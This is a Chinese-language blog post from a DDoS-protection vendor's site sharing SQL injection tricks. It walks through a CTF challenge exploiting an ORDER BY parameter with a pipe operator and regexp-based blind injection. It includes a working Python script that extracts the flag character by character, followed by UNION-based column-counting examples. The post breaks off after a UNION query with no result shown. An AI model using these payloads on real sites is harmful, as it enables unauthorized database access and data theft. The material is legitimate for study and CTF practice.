DDOS防御专家-提供超强DDoS高防/CC防护/大流量清洗服务!
当前位置:主页 > WEB安全 > 正文

SQL注入的一些技巧分享

09-18 WEB安全

先上一道简单的ctf注入题:
一道利用order by进行注入的ctf题
很不错的一道利用order by的注入题,之前不知道order by除了爆字段还有这种操作。
原题地址:?dir=
直接进去dir后的参数是ASC,网页上有从1~10编号的10条信息。绕了一大圈反应出是order by后的参数,尝试把参数改为DESC,果然倒序排列了。题目给了提示:hint: table level1_flag column flag给了数据表和字段,于是开始构造payload。
于是玄学来了,在order by后面插入管道符|之后再跟一个偶数(?这里我真的不清楚)会导致排序错乱。尝试以下url:
?dir=|2
果然排序错乱,那么想要查出flag必定要使用以下语句:

select flag from level1_flag
(结果证明确实这是一个一行一列的玩意儿,不然就要使用到limit或group_concat)
但是网页上没有显示这个的输出框,于是我们这样利用这个查询的结果集:

|(select(select flag from level1_flag)regexp '正则')+1
解释一下,括号里的正则匹配成功返回1,所以再加1变成2
所以如果匹配成功,网页的排序就会错乱,如果不成功排序则不会错乱,于是最终脚本:
import urllib
import requests
result_string="^"
right_url="?dir=|(select(select flag from level1_flag limit 0,1) regexp 'sdfghj')%2b1"
ordered_content=requests.get(right_url).content
while(1):
    for letter in '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM?':
        if(letter=='?'):
            exit()
        result_string_tem=result_string+letter
        url="?dir=|(select(select flag from level1_flag limit 0,1) regexp "+"'"+result_string_tem+"'"+")%2b1"
        print url
        content=requests.get(url).content
        if(content!=ordered_content):
            result_string=result_string_tem
            print result_string
            break
        continue
总结一下:
1、管道符的使用(见正文)
2、regexp的使用(见正文)
其实还有一个group by后面的注入,where后面的都能用
0x00   union、intersect和minus的使用
union基本语法:
select语句
union select语句
intersect(交集)和minus(差集)也一样,但是mysql不支持交集和差集,所以这也是一个判断数据库的方法。
就说说union:
基本法:前后两个select语句的字段数要相同,不然sql必定报错,所以可以用union指令判断数据表的字段数,基本构造方法:

...where...union select 1,2,3,4,...,x limit y,z
其中where子句可以没有,limit视情况而定,中间输入进去的1,2,3,4,…,x他们中的任何一个都可以用函数代替,最终他们在默认排序的情况下会被拼接到结果集的最后一行。例:
mysql> select * from learning_test union select 1,version(),concat('sh','it'),4,5;
+------+---------+---------+---------+----------------------+
| num  | column2 | column3 | column4 | bin_column           |
+------+---------+---------+---------+----------------------+
|    1 | a       | s       | s       | aaaaaaaa             |
|    2 | b       | s       | s       | ddd                  |
|    3 | c       | s       | s       | wwwwwwww             |
|    4 | d       | s       | s       | fffffff              |
|    1 | 5.5.53  | shit    | 4       | 5                    |
+------+---------+---------+---------+----------------------+
5 rows in set (0.03 sec)
union查询强大而灵活,因为他可以查询两个不同的表的信息,哪怕这两个表字段数不同,只要这样做:
mysql> select * from learning_test union select 1,version(),3,group_concat(test_table),5 from test_table;
+------+---------+---------+---------+----------------------+

版权保护: 本文由 DDOS防御专家 原创,转载请保留链接: http://www.ddosgb.com/web/141.html

DDoS防御专家简介孤之剑
国内资深白帽子二十人组成员,前BAT资深网络安全工程师,知名网络安全站点板块大神,每年提交Google及微软漏洞,原sina微博负载插件开发者,现在整体防御复合攻击长期接受1-4.7T攻击,CC防护自主开发指纹识别系统,可以做到99.9999%的无敌防御。
  • 文章总数
  • 670956访问次数
  • 建站天数
  • 友情链接

    DDOS防御

    ddos防御

    cc防护

    web安全

    高防服务器

    高防cdn


    QQ客服

    400-0797-119

    X